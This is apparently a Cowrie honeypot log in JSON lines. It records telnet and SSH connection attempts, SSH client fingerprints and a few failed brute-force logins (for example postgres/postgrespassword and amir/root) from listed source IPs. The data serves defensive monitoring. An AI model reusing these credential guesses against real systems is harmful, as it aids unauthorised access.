{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56838,"dst_ip":"159.203.135.109","dst_port":23,"session":"731f1bff13e1","protocol":"telnet","message":"New connection: 161.97.105.174:56838 (159.203.135.109:23) [session: 731f1bff13e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:56.879288Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":54650,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5bf4b06467b","protocol":"telnet","message":"New connection: 161.97.105.174:54650 (159.203.135.109:23) [session: b5bf4b06467b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:59.250249Z"}
{"eventid":"cowrie.session.closed","duration":34.822211265563965,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:03.527481Z","src_ip":"161.97.105.174","session":"d97c60ec91ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":54656,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb97aa7a51da","protocol":"telnet","message":"New connection: 161.97.105.174:54656 (159.203.135.109:23) [session: fb97aa7a51da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:07.039114Z"}
{"eventid":"cowrie.session.closed","duration":32.83098363876343,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:08.602474Z","src_ip":"161.97.105.174","session":"630c24c1de0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48950,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed189b9177f1","protocol":"telnet","message":"New connection: 161.97.105.174:48950 (159.203.135.109:23) [session: ed189b9177f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:13.694954Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48958,"dst_ip":"159.203.135.109","dst_port":23,"session":"09b3db37839b","protocol":"telnet","message":"New connection: 161.97.105.174:48958 (159.203.135.109:23) [session: 09b3db37839b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:14.969999Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48974,"dst_ip":"159.203.135.109","dst_port":23,"session":"13a5db60ee96","protocol":"telnet","message":"New connection: 161.97.105.174:48974 (159.203.135.109:23) [session: 13a5db60ee96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:17.842821Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49744,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0fe85192a30","protocol":"telnet","message":"New connection: 161.97.105.174:49744 (159.203.135.109:23) [session: c0fe85192a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:18.774437Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49746,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e0b6a93c022","protocol":"telnet","message":"New connection: 161.97.105.174:49746 (159.203.135.109:23) [session: 7e0b6a93c022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:19.529660Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49758,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee53b284a2a3","protocol":"telnet","message":"New connection: 161.97.105.174:49758 (159.203.135.109:23) [session: ee53b284a2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:19.657369Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49766,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad4b0c6675af","protocol":"telnet","message":"New connection: 161.97.105.174:49766 (159.203.135.109:23) [session: ad4b0c6675af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:19.741943Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45640,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fda1e2125db","protocol":"telnet","message":"New connection: 64.227.101.30:45640 (10.17.0.5:23) [session: 1fda1e2125db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:20.516648Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49772,"dst_ip":"159.203.135.109","dst_port":23,"session":"e07fa61abc5b","protocol":"telnet","message":"New connection: 161.97.105.174:49772 (159.203.135.109:23) [session: e07fa61abc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:21.301876Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49780,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea5abe1fc61","protocol":"telnet","message":"New connection: 161.97.105.174:49780 (159.203.135.109:23) [session: aea5abe1fc61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:21.842430Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46362,"dst_ip":"10.17.0.5","dst_port":23,"session":"93eb34238c9f","protocol":"telnet","message":"New connection: 64.227.101.30:46362 (10.17.0.5:23) [session: 93eb34238c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:22.827270Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50496,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0f1c9300a8b","protocol":"telnet","message":"New connection: 64.227.101.30:50496 (10.17.0.5:23) [session: d0f1c9300a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:29.756103Z"}
{"eventid":"cowrie.session.closed","duration":30.859774351119995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:30.109918Z","src_ip":"161.97.105.174","session":"b5bf4b06467b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04561638832092,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:30.924753Z","src_ip":"161.97.105.174","session":"731f1bff13e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42094,"dst_ip":"10.17.0.5","dst_port":22,"session":"636fc468ffc4","protocol":"ssh","message":"New connection: 193.32.162.145:42094 (10.17.0.5:22) [session: 636fc468ffc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:34.541335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:34.546138Z","src_ip":"193.32.162.145","session":"636fc468ffc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:34.644925Z","src_ip":"193.32.162.145","session":"636fc468ffc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"testnet","message":"login attempt [sol/testnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:34.983559Z","src_ip":"193.32.162.145","session":"636fc468ffc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:36.144884Z","src_ip":"193.32.162.145","session":"636fc468ffc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44726,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e833e996819","protocol":"telnet","message":"New connection: 161.97.105.174:44726 (159.203.135.109:23) [session: 3e833e996819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:36.454685Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44736,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2e02acad457","protocol":"telnet","message":"New connection: 161.97.105.174:44736 (159.203.135.109:23) [session: d2e02acad457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:36.800179Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44752,"dst_ip":"159.203.135.109","dst_port":23,"session":"9599e550132f","protocol":"telnet","message":"New connection: 161.97.105.174:44752 (159.203.135.109:23) [session: 9599e550132f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:37.025138Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44768,"dst_ip":"159.203.135.109","dst_port":23,"session":"30abbd80f0b8","protocol":"telnet","message":"New connection: 161.97.105.174:44768 (159.203.135.109:23) [session: 30abbd80f0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:38.269832Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38886,"dst_ip":"159.203.135.109","dst_port":23,"session":"244a7c95aa62","protocol":"telnet","message":"New connection: 161.97.105.174:38886 (159.203.135.109:23) [session: 244a7c95aa62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:41.710416Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":33264,"dst_ip":"10.17.0.5","dst_port":22,"session":"c92a8bbe0d16","protocol":"ssh","message":"New connection: 209.99.189.174:33264 (10.17.0.5:22) [session: c92a8bbe0d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:42.365858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:42.370727Z","src_ip":"209.99.189.174","session":"c92a8bbe0d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:42.499555Z","src_ip":"209.99.189.174","session":"c92a8bbe0d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.48852515220642,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:42.527522Z","src_ip":"161.97.105.174","session":"fb97aa7a51da","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgrespassword","message":"login attempt [postgres/postgrespassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:43.047235Z","src_ip":"209.99.189.174","session":"c92a8bbe0d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:44.180415Z","src_ip":"209.99.189.174","session":"c92a8bbe0d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45230,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bdd877d21b6","protocol":"telnet","message":"New connection: 64.227.101.30:45230 (10.17.0.5:23) [session: 9bdd877d21b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:44.438007Z"}
{"eventid":"cowrie.session.closed","duration":0.005069255828857422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:44.442950Z","src_ip":"64.227.101.30","session":"9bdd877d21b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.210328102111816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:48.053058Z","src_ip":"161.97.105.174","session":"13a5db60ee96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.6587278842926,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:48.628557Z","src_ip":"161.97.105.174","session":"09b3db37839b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.583272218704224,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:49.278128Z","src_ip":"161.97.105.174","session":"ed189b9177f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.78354024887085,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:51.557842Z","src_ip":"161.97.105.174","session":"c0fe85192a30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.60452151298523,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:52.134068Z","src_ip":"161.97.105.174","session":"7e0b6a93c022","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.65642762184143,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:52.398251Z","src_ip":"161.97.105.174","session":"ad4b0c6675af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11396813392639,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:52.771246Z","src_ip":"161.97.105.174","session":"ee53b284a2a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.652433156967163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:53.494731Z","src_ip":"161.97.105.174","session":"aea5abe1fc61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":50574,"dst_ip":"10.17.0.5","dst_port":22,"session":"35f35f73c577","protocol":"ssh","message":"New connection: 103.170.173.26:50574 (10.17.0.5:22) [session: 35f35f73c577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:54.155471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:54.160465Z","src_ip":"103.170.173.26","session":"35f35f73c577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:54.424675Z","src_ip":"103.170.173.26","session":"35f35f73c577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.822670698165894,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:55.124431Z","src_ip":"161.97.105.174","session":"e07fa61abc5b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"amir","password":"root","message":"login attempt [amir/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:55.516378Z","src_ip":"103.170.173.26","session":"35f35f73c577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:56.783486Z","src_ip":"103.170.173.26","session":"35f35f73c577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55686,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1b5517b0de8","protocol":"telnet","message":"New connection: 161.97.105.174:55686 (159.203.135.109:23) [session: f1b5517b0de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:57.226687Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55702,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e081406840f","protocol":"telnet","message":"New connection: 161.97.105.174:55702 (159.203.135.109:23) [session: 9e081406840f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:33:57.897703Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43490,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ab0597e8f54","protocol":"telnet","message":"New connection: 161.97.105.174:43490 (159.203.135.109:23) [session: 8ab0597e8f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:05.353899Z"}
{"eventid":"cowrie.session.closed","duration":30.470617055892944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:07.270632Z","src_ip":"161.97.105.174","session":"d2e02acad457","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38978,"dst_ip":"159.203.135.109","dst_port":23,"session":"617a4b72edd0","protocol":"telnet","message":"New connection: 161.97.105.174:38978 (159.203.135.109:23) [session: 617a4b72edd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:09.048720Z"}
{"eventid":"cowrie.session.closed","duration":46.9662709236145,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:09.793447Z","src_ip":"64.227.101.30","session":"93eb34238c9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":57849,"dst_ip":"159.203.135.109","dst_port":22,"session":"3601c459da7d","protocol":"ssh","message":"New connection: 220.247.224.226:57849 (159.203.135.109:22) [session: 3601c459da7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:10.285015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:10.290778Z","src_ip":"220.247.224.226","session":"3601c459da7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38982,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e4cd170e75c","protocol":"telnet","message":"New connection: 161.97.105.174:38982 (159.203.135.109:23) [session: 4e4cd170e75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:10.473840Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:10.517168Z","src_ip":"220.247.224.226","session":"3601c459da7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38998,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d2e4dab2a2c","protocol":"telnet","message":"New connection: 161.97.105.174:38998 (159.203.135.109:23) [session: 3d2e4dab2a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:10.732988Z"}
